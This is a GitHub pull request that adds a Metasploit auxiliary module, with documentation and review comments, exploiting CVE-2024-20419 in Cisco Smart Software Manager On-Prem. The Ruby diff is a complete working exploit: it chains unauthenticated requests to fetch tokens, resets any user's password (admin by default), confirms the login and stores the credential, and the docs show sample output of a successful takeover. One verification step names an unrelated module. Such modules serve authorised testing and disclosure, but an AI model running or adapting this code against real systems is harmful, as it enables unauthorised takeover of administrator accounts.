Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419) Module #19375

Merged
merged 8 commits into from
Sep 24, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
## Vulnerable Application

This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206 (CVE-2024-20419),
by changing the password of the admin user.

The vendor published an advisory [here]
(https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy). The original research blog
is available [here](https://www.0xpolar.com/blog/CVE-2024-20419).

## Testing

The software can be obtained from the [vendor](https://software.cisco.com/download/home/286285506/type/286326948/release/9-202407).

Deploy it by following the vendor's [installation guide]
(https://www.cisco.com/web/software/286285517/152313/Smart_Software_Manager_On-Prem_8-202006_Installation_Guide.pdf).

**Successfully tested on**

- Cisco Smart Software Manager (SSM) On-Prem v8-202206.

## Verification Steps

1. Deploy Cisco Smart Software Manager (SSM) On-Prem v8-202206
2. Start `msfconsole`
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
4. `set RHOSTS <IP>`
5. `run`
6. A new password should have been set for the admin account.

## Options

### USER
The user of which the password should be changed (default: admin)
### NEW_PASSWORD
Password to be used when creating a new user with admin privileges.

## Scenarios

Running the module against Smart Software Manager (SSM) On-Prem v8-202206 should result in an output
similar to the following:

```
msf6 > use auxiliary/admin/http/cisco_ssm_onprem_account
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > exploit
[*] Running module against 192.168.137.200

[+] Server reachable.
[+] Retrieved XSRF Token: RAjYUE7aNosSoXUHQu3S2VWj2h+t5ioGFCV8PwMIkNIkX15f1H10sJJY5V1yTG6tsSkhonOIr2lI3VhseclCRw==
[+] Retrieved _lic_engine_session: 22b193146b9071bbf695182f22bfcb09
[+] Retrieved auth_token: 73e63ab74a07d9d4099d0c9918c21ceaad1c2db94058b32aa6d990178dbe13b5
[+] Password for the admin user was successfully updated: Epd45bZ9OCJIFiEr!
[+] Login at: http://192.168.137.200:8443/#/logIn?redirectURL=%2F
[*] Auxiliary module execution completed
```
197 changes: 197 additions & 0 deletions modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,197 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

class AuthTokenError < StandardError; end
class XsrfTokenError < StandardError; end
class ResetPasswordError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)',
'Description' => %q{
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker
can change the password of any existing user, including administrative users.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Mohammed Adel' # Discovery and PoC
],
'References' => [
['CVE', '2024-20419'],
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy#vp'],
['URL', 'https://www.0xpolar.com/blog/CVE-2024-20419']
],
'DisclosureDate' => '2024-07-20',
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => 'True'
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('NEW_PASSWORD', [true, 'New password for the specified user', Rex::Text.rand_text_alphanumeric(16) + '!']),
OptString.new('USER', [true, 'The user of which to change the password of (default: admin)', 'admin'])
])
end

# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
def xsrf_token_value
res = send_request_cgi(
'method' => 'GET',
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
'vars_get' => {
'hostname' => Rex::Text.rand_text_alpha(6..10)
}
)

raise XsrfTokenError, 'Failed to get a 200 response from the server.' unless res&.code == 200

print_good('Server reachable.')

xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]
raise XsrfTokenError, 'XSRF Token not found' unless xsrf_token_value

decoded_xsrf_token = decode_url(xsrf_token_value)
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
decoded_xsrf_token
end

# 2) Request generate_code to retrieve auth_token
def auth_token(decoded_xsrf_token)
payload = {
uid: datastore['USER']
}.to_json

res = send_request_cgi({
'method' => 'POST',
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => {
'X-Xsrf-Token' => decoded_xsrf_token
},
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
'data' => payload
})

raise AuthTokenError, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' unless res&.code == 200

json = res.get_json_document
if json.key?('error_message')
raise AuthTokenError, json['error_message']
elsif json.key?('auth_token')
print_good('Retrieved auth_token: ' + json['auth_token'])
end

auth_token = json['auth_token']
auth_token
end

# 3) Request reset_password to change the password of the specified user
def reset_password(decoded_xsrf_token, auth_token)
payload = {
uid: datastore['USER'],
auth_token: auth_token,
password: datastore['NEW_PASSWORD'],
password_confirmation: datastore['NEW_PASSWORD'],
common_name: ''
}.to_json

res = send_request_cgi({
'method' => 'POST',
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => {
'X-Xsrf-Token' => decoded_xsrf_token
},
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
'data' => payload
})

raise ResetPasswordError, 'Did not receive a 200 responce from backend/reset_password' unless res&.code == 200

json = res.get_json_document
raise ResetPasswordError, "There was an error resetting the password: #{json['error_message']}" if json['error_message']
Comment on lines +123 to +124
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Before this check was added, if AutoCheck was set to false and the NEW_PASSWORD did not contain and upper case letter, the module would fail with a non-descriptive error message, because an error response has a response code of 200.

The module would continue, the response to backend/auth/identity/callback would also be a 200 and the error message would be:

msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > run
[*] Running module against 172.16.199.40

[!] AutoCheck is disabled, proceeding with exploitation
[+] Server reachable.
[+] Retrieved XSRF Token: N8bloAwZoPRD4kPc3Vl0XNOps4Yideqk0ro75xul5Sohz2M1xjTp08KNB0H5D2mpp6/sFtckmmP1LvPddCbMHg==
[+] Retrieved auth_token: b1d17afaac83730edac30dd2242eafc0adc0da4ef9b505ba5d0682c220f75b6b
[-] Auxiliary aborted due to failure: unexpected-reply: The requested user is not found.
[*] Auxiliary module execution completed

Now this error message is displayed like so:

msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > run
[*] Running module against 172.16.199.50

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Server reachable.
[+] Retrieved XSRF Token: amUaFSgVZhNwx5qSUdX4Qv5ZVh4nPk8jsTv2etORqHP6oHbOYqRgt7UNQ1lYETgu2sZzw8Ja30Rqp12a9UbmjQ==
[+] Retrieved auth_token: 791252bb6a863cc21967d30c11b1a599efda1a100d45f6d8685145f52c8087ed
[-] Auxiliary aborted due to failure: unknown: Cannot reliably check exploitability. Check method failed: Msf::Modules::Auxiliary__Admin__Http__Cisco_ssm_onprem_account::MetasploitModule::ResetPasswordError, There was an error resetting the password: Password should contain at least one uppercase and one lower case "set ForceExploit true" to override check result.
[*] Auxiliary module execution completed


json
end

def check
begin
@xsrf_token_value = xsrf_token_value
@auth_token = auth_token(@xsrf_token_value)
@reset_password = reset_password(@xsrf_token_value, @auth_token)
rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e
return Exploit::CheckCode::Unknown("Check method failed: #{e.class}, #{e}")
end

return Exploit::CheckCode::Unknown('Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value
return Exploit::CheckCode::Unknown('Unable to determine the version (auth_token missing).') unless @auth_token
return Exploit::CheckCode::Unknown('Unable to determine the version (reset_password failed).') unless @reset_password

if @reset_password.key?('status')
return Exploit::CheckCode::Appears('Password reset was successful, target is vulnerable')
end

Exploit::CheckCode::Unknown
end

def decode_url(encoded_string)
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
[::Regexp.last_match(1).to_i(16)].pack('C')
end
end

def run
begin
@xsrf_token_value ||= xsrf_token_value
@auth_token ||= auth_token(@xsrf_token_value)
@reset_password ||= reset_password(@xsrf_token_value, @auth_token)
rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e
fail_with(Failure::UnexpectedReply, "Exploit pre-conditions were not met #{e.class}, #{e}")
end

fail_with(Failure::UnexpectedReply, 'Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value
fail_with(Failure::UnexpectedReply, 'Unable to determine the version (auth_token missing).') unless @auth_token
fail_with(Failure::UnexpectedReply, 'Unable to determine the version (reset_password failed).') unless @reset_password
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

# 4) Confirm that we can authenticate with the new password
payload = {
username: datastore['USER'],
password: datastore['NEW_PASSWORD']
}.to_json

res = send_request_cgi({
'method' => 'POST',
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => {
'X-Xsrf-Token' => @xsrf_token_value,
'Accept' => 'application/json'
},
'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),
'data' => payload
})

fail_with(Failure::UnexpectedReply, 'Failed to verify authentication with the new password was successful.') unless res&.code == 200

json = res.get_json_document
unless json.key?('uid') && json['uid'] == datastore['USER']
fail_with(Failure::UnexpectedReply, json['error_message'])
end

store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json)
print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/logIn?redirectURL=%2F'))}")
end
end
Loading